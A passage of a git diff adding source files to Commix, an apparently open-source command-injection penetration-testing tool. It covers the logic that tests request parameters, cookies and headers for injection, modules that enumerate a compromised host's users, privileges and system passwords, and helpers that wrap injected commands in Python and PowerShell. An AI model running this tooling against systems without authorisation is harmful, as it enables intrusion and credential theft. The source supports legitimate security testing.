x] + else: + # Remove whitespaces + found_parameter = [x.replace(settings.SINGLE_WHITESPACE, "") for x in found_parameter] + + do_injection(found_parameter, settings.HTTPMETHOD.POST, url, http_request_method, filename, timesec) + +""" +Perform GET / POST parameters checks +""" +def data_checks(url, http_request_method, filename, timesec): + settings.CUSTOM_HEADER_INJECTION = False + + init_cookie_injection_status() + # Neither sweep reports back, so both are run rather than one gating the other. + if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: + post_request(url, http_request_method, filename, timesec) + if not settings.SKIP_NON_CUSTOM_PARAMS: + get_request(url, http_request_method, filename, timesec) + else: + # The POST body is either absent or not the one under test, so only the URL is swept. + get_request(url, http_request_method, filename, timesec) + +""" +Perform checks over cookie values. +""" +def cookies_checks(url, http_request_method, filename, timesec): + if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in str(menu.options.cookie)]) != 0 or \ + settings.INJECTION_MARKER_LOCATION.COOKIE or \ + settings.COOKIE_INJECTION: + if not settings.SKIP_NON_CUSTOM_PARAMS: + cookie_injection(url, http_request_method, filename, timesec) + +""" +Perform checks over HTTP Headers parameters. +""" +def headers_checks(url, http_request_method, filename, timesec): + if checks.any_header_named(settings.TESTABLE_PARAMETERS_LIST) or \ + settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS or \ + settings.HTTP_HEADERS_INJECTION: + if not settings.SKIP_NON_CUSTOM_PARAMS: + http_headers_injection(url, http_request_method, filename, timesec) + +""" +Perform checks over custom HTTP Headers parameters. +""" +def custom_headers_checks(url, http_request_method, filename, timesec): + for name in range(len(settings.CUSTOM_HEADERS_NAMES)): + if settings.ASTERISK_MARKER in settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1] and not settings.CUSTOM_INJECTION_MARKER: + settings.CUSTOM_HEADER_INJECTION = False + else: + settings.CUSTOM_HEADER_INJECTION = True + settings.CUSTOM_HEADER_NAME = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[0] + settings.HTTP_HEADER = check_parameter = header_name = settings.CUSTOM_HEADER_NAME.lower() + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(check_parameter) if check_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.CUSTOM_HEADER_VALUE = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1].replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + try: + if check_parameter != header_name or not injection_process(url, check_parameter, http_request_method, filename, timesec, settings.CUSTOM_HEADER_PLACE): + settings.CUSTOM_HEADER_INJECTION = False + except settings.NextParameterException: + settings.CUSTOM_HEADER_INJECTION = False + settings.CUSTOM_HEADERS_NAMES[name] = checks.remove_tags(settings.CUSTOM_HEADERS_NAMES[name]) + settings.CUSTOM_HEADER_INJECTION = False + +""" +Perform checks across multiple HTTP components (URL parameters, POST data, cookies, +standard headers, and custom headers) to identify possible injection points. +""" +def perform_checks(url, http_request_method, filename): + + # Prepare whitespaces if multiple targets or stdin parsing is used, + # and more than one whitespace character is defined. Keep only one. + # The literal constant is what every whitespace tamper's own reclaim check compares against - a + # URL-quoted one ('%20') never equals it, and so is never reclaimed, leaving it stuck underneath + # whatever a tamper appends instead. + if (settings.MULTI_TARGETS or settings.STDIN_PARSING) and \ + len(settings.WHITESPACES) > 1: + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + + timesec = settings.TIMESEC + + # Handle authentication if both the authentication URL and the authentication data are provided. + if menu.options.auth_url and menu.options.auth_data: + authentication.authentication_process(http_request_method) + try: + response = headers.send_raw(url) + try: + main_content = response.read() + finally: + response.close() + + response = headers.send_raw(menu.options.auth_url) + try: + auth_content = response.read() + finally: + response.close() + + # Verify authentication success by comparing the response content of the main URL and the auth URL. + if main_content == auth_content: + err_msg = "Authentication failed using the specified credentials and URL." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: + # Authentication request failed due to a connection or HTTP error. + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # If only one of the required authentication options is provided, display an error and exit. + elif menu.options.auth_url or menu.options.auth_data: + err_msg = "Authentication requires specifying both '--auth-url' and '--auth-data' options." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # If shellshock testing is enabled, force the injection level to HTTP header level. + if menu.options.shellshock: + settings.INJECTION_LEVEL = settings.HTTP_HEADER_INJECTION_LEVEL + else: + # If the user specified a custom injection level and no custom marker is used, + # set the level to the user-defined value. + if settings.INJECTION_LEVEL != settings.DEFAULT_INJECTION_LEVEL and \ + not settings.CUSTOM_INJECTION_MARKER: + settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL + + proceed_non_custom = True + + # Perform custom marker-based checks if custom injection marker is enabled. + if settings.CUSTOM_INJECTION_MARKER: + proceed_non_custom = False + + # Perform checks over GET and POST parameters. + if settings.INJECTION_MARKER_LOCATION.URL or \ + settings.INJECTION_MARKER_LOCATION.DATA: + data_checks(url, http_request_method, filename, timesec) + + # Perform checks over cookie values. + if settings.INJECTION_MARKER_LOCATION.COOKIE: + cookies_checks(url, http_request_method, filename, timesec) + + # Perform checks over standard HTTP headers (User-Agent, Referer, Host). + if settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS: + headers_checks(url, http_request_method, filename, timesec) + + # Perform checks over custom user-defined HTTP headers. + if settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS: + custom_headers_checks(url, http_request_method, filename, timesec) + + # Check if the injection marker is set in either URL or POST data (but not both) + has_exclusive_marker = settings.INJECTION_MARKER_LOCATION.URL ^ settings.INJECTION_MARKER_LOCATION.DATA + # Check if no injection marker is set in either URL or POST data + has_no_marker = not settings.INJECTION_MARKER_LOCATION.URL and not settings.INJECTION_MARKER_LOCATION.DATA + # If there’s user POST data and an exclusive marker, or no marker at all, + # and no testable GET parameters, proceed with non-custom checks + if has_exclusive_marker or has_no_marker: + checks.process_non_custom() + + # Perform default (non-custom) injection checks if not explicitly skipped. + if not settings.SKIP_NON_CUSTOM_PARAMS: + # Disable custom injection mode before running default checks. + settings.CUSTOM_INJECTION_MARKER = False + + # Perform checks over GET/POST parameters if allowed or marker is not set in URL/DATA. + if settings.TESTABLE_PARAMETERS_LIST or \ + not settings.INJECTION_MARKER_LOCATION.URL or \ + not settings.INJECTION_MARKER_LOCATION.DATA: + data_checks(url, http_request_method, filename, timesec) + + if proceed_non_custom: + # Determine if we should perform cookie-based injection checks. + cookie_check = (settings.TESTABLE_PARAMETERS_LIST or \ + not settings.INJECTION_MARKER_LOCATION.COOKIE) and \ + settings.INJECTION_LEVEL >= settings.COOKIE_INJECTION_LEVEL + if cookie_check: + settings.COOKIE_INJECTION = True + cookies_checks(url, http_request_method, filename, timesec) + + # Whether a standard header was asked for by name, under any of the names it answers to. + header_found = checks.any_header_named(settings.TESTABLE_PARAMETERS_LIST) + + # Decide if header-based injection should be tested. + header_check = (settings.TESTABLE_PARAMETERS_LIST or \ + not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS) and \ + settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL or header_found + + if header_check: + # Perform custom headers injection checks. + settings.CUSTOM_HEADER_INJECTION = True + custom_headers_checks(url, http_request_method, filename, timesec) + + settings.HTTP_HEADERS_INJECTION = True + headers_checks(url, http_request_method, filename, timesec) + + # Return True if injection checks are active/enabled, False otherwise. + return settings.INJECTION_CHECKER is not False + + +""" +General check on every injection technique. +""" +def do_check(url, http_request_method, filename): + try: + if settings.RECHECK_FILE_FOR_EXTRACTION: + settings.RECHECK_FILE_FOR_EXTRACTION = False + + # Check for '--tor' switch. + if menu.options.tor: + if checks.technique_selected("t") or checks.technique_selected("f"): + warn_msg = "It is highly recommended to avoid usage of switch '--tor' for " + warn_msg += "time-based injections because of inherent high latency time." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + # Check target URL for CGI scripts vulnerable to Shellshock. + checks.check_CGI_scripts(url) + # Modules don't need a normal testable parameter to run. + modules_handler.load_modules(url, http_request_method, filename) + perform_checks(url, http_request_method, filename) + + # All injection techniques seems to be failed! + if not settings.INJECTION_CHECKER and not settings.LOAD_SESSION: + if settings.NOT_TESTABLE_PARAMETERS: + err_msg = checks.nothing_tested_message() + else: + err_msg = "All tested parameters do not appear to be injectable." + if settings.INJECTION_LEVEL < settings.HTTP_HEADER_INJECTION_LEVEL : + err_msg += " Try to increase value for '--level' option" + err_msg += " if you wish to perform more tests." + if settings.USER_APPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: + err_msg += " You can try to re-run without providing the option " + if not settings.SKIP_TECHNIQUES : + err_msg += "'--technique'." + else: + err_msg += "'--skip-technique'." + untested = checks.untested_techniques() + if untested: + err_msg += " That would also test the " + untested + "." + # A selection that leaves few boundaries, or none, is not something a target did - and what + # was never sent cannot have been answered. + if menu.options.test_filter or menu.options.test_skip: + err_msg += " Only the payload boundaries " + if menu.options.test_filter: + err_msg += "matching '" + str(menu.options.test_filter) + "'" + err_msg += " and " if menu.options.test_skip else "" + if menu.options.test_skip: + err_msg += "not matching '" + str(menu.options.test_skip) + "'" + err_msg += " were sent, so this says nothing about the ones that were not." + # A client forced with '--oob-transport' that the target does not have answers nothing, which + # is the same silence a parameter that is not injectable produces. + if menu.options.oob_transport and settings.OOB_CHANNEL is not None and settings.OOB_STATE is not True: + err_msg += " Out-of-band testing was held to the '" + str(menu.options.oob_transport) + "' client by " + err_msg += "'--oob-transport' and nothing came back, which is also how a target without that client answers." + # A shell that complained about what it was given did run it, so what is missing is the way + # the payload was put together rather than a way in. + if settings.SHELL_ERROR_SEEN: + err_msg += " The target answered with shell or interpreter errors while being tested, so the payload did reach one" + if not menu.options.parse_errors: + err_msg += " - the '--parse-errors' option shows what it said" + err_msg += "." + if not menu.options.eval_sink: + err_msg += " Code injection was not tested; the '--eval' option tests for it." + # The header one is only worth raising while the request still names this tool: a run that + # already carries a browser's own - asked for, or settled by the evasion - has nothing to + # gain by it. Said at all only where one of the two is left to suggest, since a run already + # carrying both would otherwise be told to try something and not told what. + suggestions = [] + if not menu.options.tamper: + suggestions.append("use option '--tamper'") + if not menu.options.random_agent and not settings.BROWSER_LIKE_HEADERS: + suggestions.append("switch '--random-agent'") + if suggestions: + err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to " + err_msg += " and/or ".join(suggestions) + "." + err_msg += checks.tamper_shell_feature_note() + """ + A page that is mostly layout answers the comparison badly: what a command prints is a + handful of characters against kilobytes of markup, so the two answers come back all but + identical either way. Worth raising only here - before this, nothing has gone wrong yet. + """ + if not menu.options.text_only and settings.ORIGINAL_PAGE: + percent = checks.page_text_percent(settings.ORIGINAL_PAGE) + if settings.DYNAMIC_MARKINGS: + err_msg += " You can give it a go with the switch '--text-only', where the target page" + err_msg += " has a low percentage of textual content (~" + str(round(percent, 2)) + err_msg += "% of page content is text)." + elif percent < settings.LOW_TEXT_PERCENT: + err_msg += " Please retry with the switch '--text-only', as this case looks like a" + err_msg += " candidate for it: a low percentage of textual content (~" + str(round(percent, 2)) + err_msg += "% of page content is text), together with no parameter found to be dynamic." + if settings.MULTI_TARGETS: + err_msg += " Skipping to the next target." + # Said out loud as the verdict it is, but kept out of the report's errors: a run that tested + # everything it was asked to and found nothing is a run that worked. + settings.print_data_to_stdout(settings.print_critical_msg(err_msg, record=False)) + if not settings.MULTI_TARGETS: + # What the run produced is written even where it found nothing: the traffic it sent and the + # report of it are the output of a run that came up empty just as much as of one that did not, + # and a run that found nothing is the one whose traffic is worth reading. + checks.finish_target() + logs.print_logs_notification(filename, url) + common.show_http_error_codes() + raise SystemExit(settings.EXIT_NOTHING_FOUND) + elif settings.MULTI_TARGETS: + checks.finish_target() + logs.print_logs_notification(filename, url) + else: + # Summary, deferred actions, os-shell entry, log notice and exit all happen in quit(). + checks.quit(filename, url, hard_exit=False) + + except KeyboardInterrupt: + checks.handle_early_interrupt(filename, url) + +# eof diff --git a/src/core/controller/enumeration.py b/src/core/controller/enumeration.py new file mode 100755 index 0000000000..bf683cee5d --- /dev/null +++ b/src/core/controller/enumeration.py @@ -0,0 +1,225 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.parse import cmdline as menu +from src.utils import settings +from src.core.controller import checks +from src.core.controller import execution + +""" +Powershell's version number enumeration (for Windows OS) +""" +def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + injector = execution.select_injector(technique) + cmd = settings.PS_VERSION + if not settings.TIME_RELATED_ATTACK and interpreter: + cmd = checks.escape_single_quoted_cmd(cmd) + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + ps_version, fresh = execute_cmd(cmd) + checks.print_ps_version(ps_version, filename, settings.TIME_RELATED_ATTACK and fresh) + +""" +Hostname enumeration +""" +def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + injector = execution.select_injector(technique) + # Chosen for this target, not written over the constant: these are read again for the next one. + cmd = settings.WIN_HOSTNAME if settings.TARGET_OS == settings.OS.WINDOWS else settings.HOSTNAME + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + shell, fresh = execute_cmd(cmd) + checks.print_hostname(shell, filename, settings.TIME_RELATED_ATTACK and fresh) + +""" +Retrieve system information +""" +def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + injector = execution.select_injector(technique) + # Chosen for this target, not written over the constant: these are read again for the next one. + cmd = settings.WIN_RECOGNISE_OS if settings.TARGET_OS == settings.OS.WINDOWS else settings.RECOGNISE_OS + if not settings.TIME_RELATED_ATTACK and settings.TARGET_OS == settings.OS.WINDOWS and interpreter: + cmd = "cmd /c " + cmd + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + checks.print_enumenation().fetching_part("kernel name", technique) + target_os, fresh = execute_cmd(cmd) + + if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0 and fresh: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + + if target_os: + if settings.TARGET_OS != settings.OS.WINDOWS: + cmd = settings.DISTRO_INFO + if not settings.TIME_RELATED_ATTACK and checks.using_backticks(): + cmd = checks.remove_command_substitution(cmd) + checks.print_enumenation().fetching_part("distribution", technique) + distro_name, distro_fresh = execute_cmd(cmd) + fresh = fresh or distro_fresh + if distro_name: + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name + + cmd = settings.WIN_RECOGNISE_HP if settings.TARGET_OS == settings.OS.WINDOWS else settings.RECOGNISE_HP + if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0 and fresh: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + checks.print_enumenation().fetching_part("hardware platform", technique) + target_arch, arch_fresh = execute_cmd(cmd) + checks.set_target_arch(target_arch) + fresh = fresh or arch_fresh + else: + target_arch = None + checks.print_os_info(target_os, target_arch, filename, settings.TIME_RELATED_ATTACK and fresh) + +""" +The current user enumeration +""" +def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + injector = execution.select_injector(technique) + # Chosen for this target, not written over the constant: it is read again for the next one. + cmd = settings.WIN_CURRENT_USER if settings.TARGET_OS == settings.OS.WINDOWS else settings.CURRENT_USER + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + cu_account, fresh = execute_cmd(cmd) + checks.print_current_user(cu_account, filename, settings.TIME_RELATED_ATTACK and fresh) + +""" +Check if the Current user is privileged. +""" +def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + injector = execution.select_injector(technique) + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.IS_ADMIN + else: + cmd = settings.IS_ROOT + if checks.using_backticks(): + cmd = checks.remove_command_substitution(cmd) + # The padding the Windows interpreter payload writes is taken off where that payload's own shape + # is known, which is the reading itself - undone a second time here, the one space it leaves was + # a space of the command's own, and an answer of ' X ' arrived as 'X'. + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + shell, fresh = execute_cmd(cmd) + checks.print_current_user_privs(shell, filename, settings.TIME_RELATED_ATTACK and fresh) + +""" +System users enumeration +""" +def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + injector = execution.select_injector(technique) + cmd = settings.SYS_USERS + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_SYS_USERS + if settings.TIME_RELATED_ATTACK: + cmd = cmd + settings.WIN_REPLACE_WHITESPACE + if interpreter: + cmd = checks.escape_single_quoted_cmd(cmd) + if not settings.TIME_RELATED_ATTACK: + cmd = checks.add_new_cmd(cmd) + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, catch_time_error=True) + sys_users, fresh = execute_cmd(cmd) + checks.print_users(sys_users, filename, settings.TIME_RELATED_ATTACK and fresh, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter) + +""" +System passwords enumeration +""" +def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + injector = execution.select_injector(technique) + cmd = settings.SYS_PASSES + drop_false = lambda sys_passes: "" if sys_passes is False else sys_passes + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess_time=drop_false) + sys_passes, fresh = execute_cmd(cmd) + checks.print_passes(sys_passes, filename, settings.TIME_RELATED_ATTACK and fresh, interpreter) + +""" +Single os-shell execution +""" +def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + injector = execution.select_injector(technique) + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE) + # Run the command, and let a freshly executed one settle before the next. + def wrapped(cmd): + shell, fresh = execute_cmd(cmd) + if fresh and settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + return shell + checks.run_single_os_cmd(wrapped, filename) + +""" +Check the defined options +""" +def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + # Said before the first of these asks the target anything, not after - whether every fetch below + # is un-timed is already settled by now, from detection, so there is no need to wait for one of + # them to find out for itself. + untimed = technique == settings.INJECTION_TECHNIQUE.BOOLEAN_BASED + if not untimed and technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + from src.core.techniques.tempfile_based import tfb_handler as oracle_handler + untimed = oracle_handler.oracle_active(url, vuln_parameter, separator) + if untimed and settings.THREADS <= 1 and not settings.BOOLEAN_THREADS_SUGGESTED: + settings.BOOLEAN_THREADS_SUGGESTED = True + info_msg = "Nothing here is timed, so '--threads' asks for several bytes at once without costing accuracy." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + # Check if PowerShell is enabled. + if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS: + checks.ps_check() + + if menu.options.ps_version and settings.PS_ENABLED == None: + # Set whichever way 'ps_incompatible_os()' answers - the wrong-OS case is itself the whole + # check 'do_check' was asked for here, and is otherwise re-run (and re-warned) on every + # technique 'stored_session()' sees confirmed, for having never been marked done. + settings.ENUMERATION_DONE = True + if not checks.ps_incompatible_os(): + checks.print_enumenation().ps_version_msg() + powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + + if menu.options.sys_info: + checks.print_enumenation().os_info_msg() + system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.current_user: + checks.print_enumenation().current_user_msg() + current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.hostname: + checks.print_enumenation().hostname_msg() + hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.is_root or menu.options.is_admin: + checks.print_enumenation().check_privs_msg() + check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.users or menu.options.privileges: + checks.print_enumenation().print_users_msg() + system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.passwords: + if settings.TARGET_OS == settings.OS.WINDOWS: + check_option = "--passwords" + checks.unavailable_option(check_option) + else: + checks.print_enumenation().print_passes_msg() + system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + +""" +Check stored session +""" +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + # Target-wide - run once, on the first successful technique. + if not settings.ENUMERATION_DONE and menu.enumeration_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + +# eof diff --git a/src/core/controller/execution.py b/src/core/controller/execution.py new file mode 100644 index 0000000000..cf1bfb3fb4 --- /dev/null +++ b/src/core/controller/execution.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.parse import cmdline as menu +from src.utils import settings +from src.utils import session_handler +from src.core.requests import requests +from src.core.controller import checks + +""" +Select the injector module for the given technique. +""" +def select_injector(technique): + if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED: + from src.core.techniques.results_based import rb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.eval import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.techniques.file_based import fb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.BOOLEAN_BASED: + from src.core.techniques.boolean_based import bb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.OOB: + from src.core.techniques.oob import oob_injector as injector + else: + from src.core.techniques.tempfile_based import tfb_injector as injector + return injector + +""" +Select the payloads module for the given time-related technique. +""" +def select_payloads_module(technique): + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payloads = checks.time_based_payloads() + else: + payloads = checks.tempfile_based_payloads() + return payloads + +""" +Build the Windows-specific command variant for time-related techniques, returning (cmd, previous_cmd). +""" +def windows_transform_cmd(cmd, technique, interpreter): + previous_cmd = cmd + if interpreter: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" + else: + cmd = checks.quoted_cmd(cmd) + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + # 'write', not 'write-host': the value is read back off the payload's own standard output, and + # only the newer PowerShell writes what the latter prints there at all. + cmd = ("powershell.exe -InputFormat none write " + + checks.windows_output_bytes(checks.windows_output_text(cmd)) + ".length") + # The tempfile-based payloads wrap the command themselves, in the one PowerShell they already + # start - wrapping it here as well would cost a second process per probe, and the timing + # measurement pays for every one of them. + return cmd, previous_cmd + +""" +Build a cache-less execute_cmd(cmd) -> output callback around the injector model, for callers (e.g. file writes) where re-running the command every time is required, not an optimization to skip. +""" +def make_simple_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, postprocess_time=lambda shell: shell, catch_time_error=False, results_based_injector=False): + """ + 'results_based_injector' is for a caller that has swapped in the classic injector under a + time-related technique - the Windows file write does. How the command is sent is the injector's + to say, and calling a results-based one with the time-related argument list raises TypeError. + """ + def execute_cmd(cmd): + if technique in (settings.INJECTION_TECHNIQUE.OOB, settings.INJECTION_TECHNIQUE.BOOLEAN_BASED): + return injector.injection(separator, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) + # Tried first here too - every caller built on this (hostname, '--os-cmd', file read/write, + # '--all') otherwise reached straight past the interactive shell's own oracle-first check and + # into the delay-based reading beneath it. + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and not results_based_injector: + from src.core.techniques.tempfile_based import tfb_handler as oracle_handler + oracle_shell = oracle_handler.oracle_extract(separator, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, TAG, cmd) + if oracle_shell is not None: + return postprocess_time(oracle_shell) + if settings.TIME_RELATED_ATTACK and not results_based_injector: + try: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + except TypeError: + if not catch_time_error: + raise + shell = "" + return postprocess_time(shell) + else: + def send(command=None): + command = cmd if command is None else command + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED and not results_based_injector: + response = injector.injection(separator, TAG, command, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + else: + response = injector.injection(separator, TAG, command, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + return injector.injection_results(response, TAG, command, technique, url, OUTPUT_TEXTFILE, timesec) + return read_command_output(send, technique, cmd) + return execute_cmd + +""" +What a results-based answer says, as text - or None where the markers never came back at all. + +Only that technique reads its answer from between markers, and only it can tell an output that +was empty from a payload that was never answered: the markers come back around nothing in the +first case and not at all in the second. Every other answer is text already. +""" +def _answer_text(found, technique): + if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED and isinstance(found, list) and not found: + return None + return "".join(str(part) for part in found) if found else "" + +""" +Read one command's output through the confirmed injection point, the command run once. + +How the output is read is settled before the first command the user asked for, not after it: told +over an output already read, the only way to read it again is to run the command again. The one +request sent twice is a more complex payload that was not answered at all - no markers came back, +so it never ran, and sending the plain one instead runs the command for the first time, not the +second. The rest of the target is then kept to the plain reading, and the user is told why. +""" +def read_command_output(send, technique, cmd): + def check(command): + applied = 